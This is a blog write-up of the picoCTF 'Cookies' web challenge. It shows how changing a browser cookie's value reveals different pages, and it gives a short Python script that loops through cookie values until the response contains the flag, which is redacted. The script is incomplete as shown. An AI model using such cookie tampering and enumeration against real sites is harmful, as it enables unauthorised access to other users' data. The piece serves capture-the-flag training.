Skip to content
Startseite » picoCTF Cookies

picoCTF Cookies

picoCTF cookies

In this blogpost I’ll showcase how to solve the picoCTF Cookies challenge.

This challenge will be an easy one. All we need is a web browser and because of the fact that hackers are lazy people we’ll use a little python script for automation.


First we need to open the link in the challenge description in our favorite browser:

cookie form

A web form which asks us for a kind of cookies. But what is with the cookies this site is storing in our browser cache? Open the developer tools (F12) and take a look.

developer tools

There is a cookie with the name ‘name’ and the value ‘-1’. Change the value of the cookie to 1 and reload the page:

chocolate chip cookies

Hmm… seems that the kind of cookie is stored in this value. You can try it with some other numbes to confirm it.


As mentioned above, hacker are lazy people so lets automate the boring stuff with a short python script:

# import the library for web requests
import requests

# define the url
url= ""

# iterate over the cookie values
for i in range(30):
  cookies = { 'name' : str(i) }
  # send the request with the crafted cookie to the server
  r = requests.get(url, cookies=cookies)
  # check if response contains the string 'flag'
  if 'flag' in r.text.lower():
    # if so, print out the response and stop the script

This script iterates the cookie values from 0 to 29 and sends a request with that cookie to the server. If the response from the server contains the string ‘flag’ it prints out the content of the response and stops execution.

Save the script as ‘’ for the sake of this post so that you’re able to run it from the command-line.

$ python 
<!DOCTYPE html>
<html lang="en">


    <link href="" rel="stylesheet">

    <link href="" rel="stylesheet">

    <script src=""></script>

    <script src=""></script>



    <div class="container">
        <div class="header">
                <ul class="nav nav-pills pull-right">
                    <li role="presentation"><a href="/reset" class="btn btn-link pull-right">Home</a>
            <h3 class="text-muted">Cookies</h3>

        <div class="jumbotron">
            <p class="lead"></p>
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{xxxxxxxx}</code></p>

        <footer class="footer">
            <p>© PicoCTF</p>



Im sure you’ll find the flag in the html code of the response, but if you are as lazy as I am, use the grep command in combination with this script and it is even simpler (remember: hackers are lazy):

python | grep picoCTF{.*}

That’s it. As I promised this challenge was not too complicated and you definitly don’t have to be a sophisticated genius to solve it.

Please leave a comment how you liked my write-up on the picoCTF cookies challenge.

Leave a Reply

Your email address will not be published. Required fields are marked *